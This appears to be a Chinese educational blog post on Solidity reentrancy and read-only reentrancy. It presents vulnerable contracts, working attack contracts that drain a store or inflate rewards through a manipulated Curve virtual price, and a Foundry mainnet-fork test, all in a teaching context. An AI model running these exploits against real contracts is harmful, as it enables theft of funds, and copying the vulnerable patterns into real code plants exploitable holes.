区块链安全常见的攻击——重入漏洞(Reentrancy Vulnerability)和 只读重入漏洞(Read-Only Reentrancy Vulnerability)【4】

区块链安全常见的攻击合约和简单复现,附带详细分析——重入漏洞(Reentrancy Vulnerability)和 只读重入漏洞(Read-Only Reentrancy Vulnerability)【4】

1、重入漏洞(Reentrancy Vulnerability)

1.1 漏洞合约

contract EtherStore {
    mapping(address => uint256) public balances; // 用户余额映射

    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value; // 更新存款金额
    }

    // 提款函数(存在漏洞)
    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw); // 确保余额足够
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}(""); // 发送以太币
        require(send, "send failed"); // 检查转账是否成功

        // 检查余额后再扣减(避免下溢)
        if (balances[msg.sender] >= _weiToWithdraw) {
            balances[msg.sender] -= _weiToWithdraw; // 更新余额
        }
    }
}

1.2 漏洞分析

漏洞的根源在于 withdrawFunds 函数,该函数在更新用户余额之前将 Ether 转账给攻击者。这样就使得用户可以多次调用withdrawFunds 函数,在更新用户余额之前。
在这里插入图片描述

1.3 攻击分析

  1. 写一个攻击合约,合约有receive()函数,函数可以循环调用withdrawFunds
    在这里插入图片描述
  2. 攻击者先存储 1 以太币 在漏洞合约
    在这里插入图片描述
  3. 调用漏洞合约(store)的withdrawFunds函数
    在这里插入图片描述
    在这里插入图片描述
  4. 漏洞合约的withdrawFunds函数 会将以太币发送给调用者(攻击者),同时会触发攻击合约的 receive函数,不断重入攻击调用withdrawFunds函数,直到漏洞合约的金额小于1 ether
    在这里插入图片描述
    在这里插入图片描述

1.4 攻击合约

contract AttackReentrancy is Test {
    EtherStore store; // 目标合约实例

    constructor(address _store) {
        store = EtherStore(_store); // 初始化目标合约地址
    }

    function attack() public {
        // 在漏洞合约 存储 1 ether
        console.log("init Attack contract balance", address(store).balance); // 打印合约余额
        store.deposit{value: 1 ether}();
        console.log(
            "after deposit, Attack contract balance",
            address(store).balance
        );
        store.withdrawFunds(1 ether);
        console.log("after attack, contract balance", address(store).balance);
    }

    receive() external payable {
        console.log(
            "Cycle out withdrawFunds until the amount of the store contract < 1 ether, store balance: ",
            address(store).balance
        );
        if (address(store).balance >= 1 ether) {
            store.withdrawFunds(1 ether); // exploit here
        }
    }
}

在这里插入图片描述

2、只读重入漏洞(Read-Only Reentrancy Vulnerability)

2.1 漏洞合约

interface ICurve {
    function get_virtual_price() external view returns (uint);

    function add_liquidity(
        uint[2] calldata amounts,
        uint min_mint_amount
    ) external payable returns (uint);

    function remove_liquidity(
        uint lp,
        uint[2] calldata min_amounts
    ) external returns (uint[2] memory);

    function remove_liquidity_one_coin(
        uint lp,
        int128 i,
        uint min_amount
    ) external returns (uint);
}

address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E; //steCRV Token

// VulnContract
// users stake LP_TOKEN
// getReward rewards the users based on the current price of the pool LP token
contract VulnContract {
    IERC20 public constant token = IERC20(LP_TOKEN);
    ICurve private constant pool = ICurve(STETH_POOL);

    mapping(address => uint) public balanceOf;

    function stake(uint amount) external {
        token.transferFrom(msg.sender, address(this), amount);
        balanceOf[msg.sender] += amount;
    }

    function unstake(uint amount) external {
        balanceOf[msg.sender] -= amount;
        token.transfer(msg.sender, amount);
    }

    function getReward() external view returns (uint) {
        //rewarding tokens based on the current virtual price of the pool LP token
        uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) /
            1 ether;
        // Omitting code to transfer reward tokens
        return reward;
    }
}

2.2 漏洞分析

攻击的核心在于目标合约 (target) 中的 getReward() 函数,它是一个只读(view)函数,用于计算奖励。
在调用 Curve 池的 remove_liquidity 函数时,攻击合约的 receive 函数会被触发。攻击者在 receive 函数中调用了目标合约的 getReward(),实现了只读重入。
在这里插入图片描述

在这里插入图片描述

2.3 攻击分析

1.添加流动性(add_liquidity)
uint[2] memory amounts = [add_lq_value, 0];
uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);

攻击者向 Curve 池添加了大量流动性(100,000 Ether),以生成 LP 代币并改变池子的 virtual_price(虚拟价格)。
添加流动性后,LP 代币的价格可能会上升。

2. 获取添加流动性后的虚拟价格
console.log("PRICE: LP token price before remove_liquidity()", pool.get_virtual_price());

记录流动性操作后池子的虚拟价格,为后续对比提供基准。

3. 移除流动性(remove_liquidity)
pool.remove_liquidity(lp, min_amounts);

攻击者将刚才的流动性移除,导致池子的虚拟价格发生变化(可能下降)。
Curve 池在移除流动性时会返还以太币,从而触发攻击合约的 receive 函数。

4. 重入攻击在 receive 函数中触发
receive() external payable {
    console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
    uint reward = target.getReward();
    console.log("Reward during remove_liquidity: ", reward);
}

当 Curve 池的 remove_liquidity 转账触发 receive 回调时,攻击合约调用目标合约的 getReward()。
此时的 getReward() 计算奖励时,会读取被操控后的虚拟价格,导致奖励值不准确。重入攻击成功操控了奖励逻辑。

5 对比前后状态
console.log("Reward after remove_liquidity: ", reward);

在移除流动性后的正常逻辑中再次调用 getReward(),记录未重入时的奖励值。
通过对比,发现重入后奖励值因虚拟价格的操控而被放大。

在这里插入图片描述

2.4 攻击合约

// 攻击合约
contract ExploitContract {
    ICurve private constant pool = ICurve(STETH_POOL); // Curve 池子地址
    IERC20 public constant lpToken = IERC20(LP_TOKEN); // LP 代币地址
    VulnContract private immutable target; // 漏洞合约地址

    constructor(address _target) {
        target = VulnContract(_target); // 初始化漏洞合约
    }

    // 将 LP 代币存入漏洞合约
    function stakeTokens() external payable {
        uint add_lq_value = 10 ether;
        uint[2] memory amounts = [add_lq_value, 0]; // 添加流动性
        console.log("virtual_price:", pool.get_virtual_price());
        console.log("the first time 11 add_liquidity...");
        uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);
        console.log("virtual_price: ", pool.get_virtual_price());

        lpToken.approve(address(target), lp); // 授权漏洞合约操作 LP 代币
        target.stake(lp); // 存入漏洞合约
    }

    // 执行只读重入攻击
    function performReadOnlyReentrnacy() external payable {
        uint add_lq_value = 100000 ether;
        uint[2] memory amounts = [add_lq_value, 0]; // 添加流动性
        console.log("the second time 22 add_liquidity...");
        uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);

        console.log("virtual_price: ", pool.get_virtual_price());
        uint reward = target.getReward(); // 获取奖励
        console.log("Reward before remove_liquidity: ", reward);

        console.log("start remove_liquidity attack !!!");
        uint[2] memory min_amounts = [uint(0), uint(0)];
        pool.remove_liquidity(lp, min_amounts); // 移除流动性,触发 receive 函数

        console.log(
            "--------------------------------------------------------------------"
        );
        console.log("virtual_price: ", pool.get_virtual_price());
        console.log("get Reward ...");
        reward = target.getReward(); // 获取奖励
        console.log("Reward after remove_liquidity: ", reward);
    }

    // 回退函数 - 利用重入攻击
    receive() external payable {
        console.log(
            "--------------------------------------------------------------------"
        );
        console.log("virtual_price: ", pool.get_virtual_price());
        console.log("receive() get Reward ...");
        uint reward = target.getReward(); // 攻击时获取奖励
        console.log("Reward during remove_liquidity: ", reward);
    }
}

// 测试合约
contract ExploitTest is Test {
    ExploitContract public hack; // 攻击合约
    VulnContract public target; // 漏洞合约

    function setUp() public {
        vm.createSelectFork("mainnet"); // 使用主网分叉
        target = new VulnContract(); // 部署漏洞合约
        hack = new ExploitContract(address(target)); // 部署攻击合约
    }

    function testPwn() public {
        vm.deal(address(hack), 1000010 ether);
        hack.stakeTokens(); // 存入 Ether
        hack.performReadOnlyReentrnacy(); // 执行攻击
    }
}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值